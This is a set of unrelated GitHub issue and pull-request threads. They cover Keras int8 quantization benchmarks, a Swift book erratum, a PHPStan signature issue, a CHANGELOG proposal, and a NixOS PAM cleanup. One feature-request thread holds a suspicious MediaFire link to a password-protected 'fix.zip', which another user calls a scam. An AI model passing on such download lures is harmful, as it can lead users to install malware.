    x_train = np.expand_dims(x_train, -1)
    x_test = np.expand_dims(x_test, -1)
    y_train = keras.utils.to_categorical(y_train, num_classes)
    y_test = keras.utils.to_categorical(y_test, num_classes)

    model = build_model(num_layers=32, units=1024, use_einsum=use_einsum)
    model.compile(
        loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]
    )

    """Train float model"""
    print("=====Start training float model=====")
    model.fit(
        x_train, y_train, batch_size=128, epochs=epochs, validation_split=0.1
    )
    print(f"Performance of {dtype}:")
    score = model.evaluate(x_test, y_test, verbose=0)
    print(f"  Test accuracy: {score[1]:.5f}")
    avg_time = benchmark(model, input_shape=input_shape)
    print(f"  Avg. inference time (batch_size=1024): {avg_time:.5f}s")
    model.save("model_fp32.keras")

    """Enable lora"""
    print("=====Enable lora weights=====")
    enable_lora(model)

    """Fine-tuning lora weights"""
    model.compile(
        loss="categorical_crossentropy",
        optimizer="adam",
        metrics=["accuracy"],
    )
    model.fit(
        x_train,
        y_train,
        batch_size=128,
        epochs=epochs,
        validation_split=0.1,
    )
    print("Performance of fine-tuned lora weights:")
    score = model.evaluate(x_test, y_test, verbose=0)
    print(f"  Test accuracy: {score[1]:.5f}")
    avg_time = benchmark(model, input_shape=input_shape)
    print(f"  Avg. inference time (batch_size=1024): {avg_time:.5f}s")

    """Quantize to int8 weights"""
    model.quantize(mode="int8")
    int8_model = model
    int8_model.compile(loss="categorical_crossentropy", metrics=["accuracy"])
    print("Performance of quantized model:")
    score = int8_model.evaluate(x_test, y_test, verbose=0)
    print(f"  Test accuracy: {score[1]:.5f}")
    avg_time = benchmark(int8_model, input_shape=input_shape)
    print(f"  Avg. inference time (batch_size=1024): {avg_time:.5f}s")

    """Saving & loading"""
    int8_model.save("model_int8.keras")
    reloaded_int8_model = saving.load_model("model_int8.keras")
    reloaded_score = reloaded_int8_model.evaluate(x_test, y_test, verbose=0)
    print(f"Reloaded int8 model test accuracy: {reloaded_score[1]:.5f}")
    print("Size of saved model:")
    print(f"  fp32: {os.path.getsize('model_fp32.keras') >> 20}MB")
    print(f"  int8: {os.path.getsize('model_int8.keras') >> 20}MB")

    """Cleanup"""
    os.remove("model_fp32.keras")
    os.remove("model_int8.keras")

if __name__ == "__main__":
    main()

Acknowledgments

google/aqt
TimDettmers/bitsandbytes

Codecov Report
Attention: Patch coverage is 67.84741% with 118 lines in your changes are missing coverage. Please review.

Project coverage is 54.17%. Comparing base (c8700f4) to head (1d124bb).
Report is 79 commits behind head on master.

Files
Patch %
Lines

keras/layers/core/einsum_dense.py
61.80%
43 Missing and 12 partials :warning:

keras/layers/core/dense.py
70.58%
10 Missing and 5 partials :warning:

keras/models/model.py
6.25%
15 Missing :warning:

keras/quantizers/__init__.py
53.33%
14 Missing :warning:

keras/dtype_policies/dtype_policy.py
89.83%
4 Missing and 2 partials :warning:

keras/layers/layer.py
53.84%
3 Missing and 3 partials :warning:

keras/ops/operation.py
70.00%
3 Missing :warning:

keras/backend/tensorflow/numpy.py
0.00%
2 Missing :warning:

keras/dtype_policies/__init__.py
87.50%
1 Missing :warning:

keras/quantizers/quantizers.py
97.05%
1 Missing :warning:

Additional details and impacted files
@@             Coverage Diff             @@
##           master   #19263       +/-   ##
===========================================
- Coverage   80.14%   54.17%   -25.97%
===========================================
  Files         341      365       +24
  Lines       36163    39760     +3597
  Branches     7116     7707      +591
===========================================
- Hits        28982    21541     -7441
- Misses       5578    16651    +11073
+ Partials     1603     1568       -35

Flag
Coverage Δ

keras
54.17% <67.84%> (-25.82%)
:arrow_down:

keras-jax
?

keras-numpy
54.17% <67.84%> (-2.91%)
:arrow_down:

keras-tensorflow
?

keras-torch
?

Flags with carried forward coverage won't be shown. Click here to find out more.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

@fchollet
I have fixed the issue in Model.quantize where double quantization might occur with KerasNLP gpt2
Colab:
https://colab.research.google.com/drive/1DDChRgkEzgUmr1k1N_NbLha1_rjx3asw?usp=sharing
# prompt
output = gpt2_lm.generate("My trip to Yosemite was", max_length=200)

# outputs

# mixed_bfloat16
My trip to Yosemite was pretty much a blur, but I managed to catch a few glimpses of the area and I was able to make out a few small, isolated, rocky ridges. The trail is a little steep, but the scenery is very scenic. The view is beautiful and I really enjoyed the views. The hike is a bit longer than the typical route but I enjoyed it a lot. It is a short, steep, and very quiet hike that takes me about 5-10 minutes to walk.
I was able to make out a couple of interesting points that you will see in the pictures below.
I was able to make out some interesting rocks that I had never seen before in Yosemite.
I did notice a few other interesting features that I didn't expect, but I was not sure what they were. I was able to make out a few of these features in the photos and then I was able to make out a couple other interesting rocks. I was able to

# quantized int8
My trip to Yosemite was pretty crazy. The sun is always shining, so we went to Yosemite to see it. I was a little disappointed that it didn't have the best view, because the views were so good. The views of the Yosemite Valley were really good, but there were some things that were really not great.

I was a huge fan of The Big Apple, but I didn't really like it. It was a bit like the big old house, with all the windows blown out. It was really cool to see all the different views of Yosemite. The view was really good, but there were some things that were just just really, really, terrible.

I was really happy that the views were good. It really was a good experience. I was really glad I had a good time, because they were really nice.

There's a lot of stuff in this book that is really interesting to me. I really enjoyed it, and I think that the

I didn't see any obvious performance degradation in gpt2 after quantization.
However, I'm unsure how to benchmark the inference speed of GPT2. I've tried generate(...) but the speed didn't improve.

However, I'm unsure how to benchmark the inference speed of GPT2. I've tried generate(...) but the speed didn't improve.

I've thought about it for a bit, but I can't make sense of it. Most of the generate() time is the forward pass of the model, and most of that is EinsumDense calls. So if the inference speed of EinsumDense is improved, then the speed of generate() should be improved as well.
Can you try with Gemma and Mistral to see if generate() gets faster?

Can you try with Gemma and Mistral to see if generate() gets faster?

@fchollet
I think I have identified the root cause...
It appears that colab's T4 may not support int8xint8->int32 acceleration, as I got a speed-up on my rtx4070 with Gemma

keras.config.set_dtype_policy("bfloat16") (only this fits in 11gb vram)
prompt="What is Keras?"

backend
bfloat16
int8
ratio

tensorflow
0.781s
0.712s
0.911

jax
0.694s
0.525s
0.756

Run with tensorflow backend:
Gemma output (before quantization):
What is Keras?

Keras is a high-level neural network API that provides a flexible and efficient interface for building and training neural networks. It is designed to be easy to use for both advanced researchers and novice users, and to provide a high-level API that hides the complexity of the underlying algorithms.

Gemma output (after quantization):
What is Keras?

Keras is a high-level neural network library that provides a flexible and efficient interface for building and running neural networks. It is designed to be easy to use and to provide a high-level API that is easy to learn and use.

Keras is built on top of Theano

Run with jax backend:
Gemma output (before quantization):
What is Keras?

Keras is a high-level neural network API that provides a flexible and efficient interface for building and training neural networks. It is designed to be easy to use for both advanced researchers and novice users, and to provide a high-level API that hides the complexity of the underlying algorithms.

Gemma output (after quantization):
What is Keras?

Keras is an open source deep learning library that provides a high-level API for developing neural networks. It is designed to be easy to use and extend, and to provide a consistent interface for working with different types of neural networks.

Keras is built on top of Theano,

The benchmark script:
import time

import kagglehub
import keras_nlp

import keras

kagglehub.login()

# Setup Keras
keras.config.set_dtype_policy("bfloat16")

gemma_lm = keras_nlp.models.GemmaCausalLM.from_preset("gemma_2b_en")

# Warmup
_ = gemma_lm.generate("What is Keras?", max_length=64)

# Predict
t0 = time.time()
output = gemma_lm.generate("What is Keras?", max_length=64)
cost_time = time.time() - t0
print("Gemma output (before quantization):")
print(output)
print(f"Cost time: {cost_time}")

# Quantize
gemma_lm.quantize("int8")
gemma_lm.generate_function = None  # force `make_generate_function`
print("Finish quantization")

# Warmup
_ = gemma_lm.generate("What is Keras?", max_length=64)

# Run in int8
t0 = time.time()
output = gemma_lm.generate("What is Keras?", max_length=64)
cost_time = time.time() - t0
print("Gemma output (after quantization):")
print(output)
print(f"Cost time: {cost_time}")

weight_in_int8 = []
for weight in gemma_lm.weights:
    if weight.dtype == "int8":
        weight_in_int8.append(weight.name)
print("Number of weights in int8:", len(weight_in_int8))


Chapter 3 - Create GameTextures Singleton

Within the init() method while initiating the interface and game sprite atlas :
self.interfaceSpriteAtlas = SKTextureAtlas(named: gameSprites)
self.gameSpriteAtlas = SKTextureAtlas(named: interfaceSprites)
should be :
self.interfaceSpriteAtlas = SKTextureAtlas(named: interfaceSprites)
self.gameSpriteAtlas = SKTextureAtlas(named: gameSprites)

Hi Mark,
The source has been updated to fix this. The book will be updated when I have a chance to test the resolution to issue #3 .
Appreciate you taking the time to point it out.
Thanks,
Jeremy


Assert::allOneOf get complains from phpStan on usage

Hi,
Thanks for your library! I have discovered the following issue:
The method allOneOf($values, $values, $message = '') of Webmozart\Assert has in the signature two variables with the same name "values", this is confusing PhpStan, the static analyzer, thinking that the method has only 2 arguments, so when is called with 3 is giving the following error:
Static method Webmozart\Assert\Assert::allOneOf() invoked with 3  parameters, 1-2 required.
I will submit a PR this afternoon/first days of the next week
Thanks!

Haven't ran into this myself yet, but if youre willing to provide a PR, that woudl be great, thanks

Will be fixed in https://github.com/webmozart/assert/pull/126

@monro93 Can you verify that this is no longer an issue in a newer version?


Proposed CHANGELOG.md file

Purpose

New CHANGELOG.md file format to help provide history of significant changes for users / devs

Why a CHANGELOG when you have packaged releases? Packaging systems come and go, but a changelog is for the long-term.
Suggested update strategy is: https://semver.org whenever committed to main branch

Leveraging https://keepachangelog.com/en/1.0.0/ format
⚠ NOTE: this is a DRAFT pull request, please commit to this PR branch with your existing release information to the changelog before merging

Proposed Changes

[ADD] CHANGELOG.md file with sample content

Testing

For live example, see: https://github.com/olivierlacan/keep-a-changelog/blob/main/CHANGELOG.md

With the QSR approaching I will revisit this PR later this week because I need to review our commit history so that I can update the CHANGELOG.md before merging.
Thanks for the guidance @riverma

Makes sense @anilnatha - this is more for the long-term.


Request feature

Please add to allow run with query_id=xxx only

maybe this will help
https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file
Archive password: changeme
you may need to install the c compiler

maybe this will help https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file Archive password: changeme
you may need to install the c compiler

I am use mac OS can't run exe

Its scam dont reply them

Please add to allow run with query_id=xxx only

I already add you can just run with option 3

Please add to allow run with query_id=xxx only

I already add you can just run with option 3

Tq so much

Where is to store the query_id list?

Where is to store the query_id list?

data.txt


Add tracing policy to credential pipelines

Adding the tracing policy to a couple pipelines which lacked it, and correcting a pipeline's default async transport.
Closes #7769

Can one of the admins verify this patch?


nixos/pam: clean up generated files (no functional change)

Motivation for this change
The generated files in /etc/pam.d/ typically have a lot of empty lines
in them, due to how the generated Nix strings are joined together;
optional elements that are excluded still produce a newline. This patch
changes how the files are generated to create more compact,
human-friendly output files.
The change is basically this, repeated:
-  ''
-    ${optionalString use_ldap
-        "account sufficient ${pam_ldap}/lib/security/pam_ldap.so"}
-  ''
+  optionalString use_ldap ''
+    account sufficient ${pam_ldap}/lib/security/pam_ldap.so
+  ''

Things done

[x] Tested using sandboxing
(nix.useSandbox on NixOS,
or option build-use-sandbox in nix.conf
on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] OS X
[ ] Linux

[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[x] Fits CONTRIBUTING.md.

Basically, instead of this generated file:
$ nix-build nixos -A config.system.build.etc >/dev/null && cat result/etc/pam.d/chfn
# Account management.
account sufficient pam_unix.so

# Authentication management.
auth sufficient pam_rootok.so

auth sufficient pam_unix.so  likeauth try_first_pass

auth required pam_deny.so

# Password management.
password requisite pam_unix.so nullok sha512

# Session management.
session required pam_env.so envfile=/nix/store/s2l59yksjypyy8rngivxhlcfgw3v2105-pam-environment
session required pam_unix.so

session required /nix/store/qk5qxkq93dac6mdggln52ki9qs48k74p-linux-pam-1.2.1/lib/security/pam_limits.so conf=/nix/store/wbba242qfrn76ldpgfsb7wqhn3c7x88p-limits.conf

we get this:
$ nix-build nixos -A config.system.build.etc >/dev/null && cat result/etc/pam.d/chfn
# Account management.
account sufficient pam_unix.so

# Authentication management.
auth sufficient pam_rootok.so
auth sufficient pam_unix.so  likeauth try_first_pass
auth required pam_deny.so

# Password management.
password requisite pam_unix.so nullok sha512

# Session management.
session required pam_env.so envfile=/nix/store/s2l59yksjypyy8rngivxhlcfgw3v2105-pam-environment
session required pam_unix.so
session required /nix/store/qk5qxkq93dac6mdggln52ki9qs48k74p-linux-pam-1.2.1/lib/security/pam_limits.so conf=/nix/store/wbba242qfrn76ldpgfsb7wqhn3c7x88p-limits.conf

Much better :-)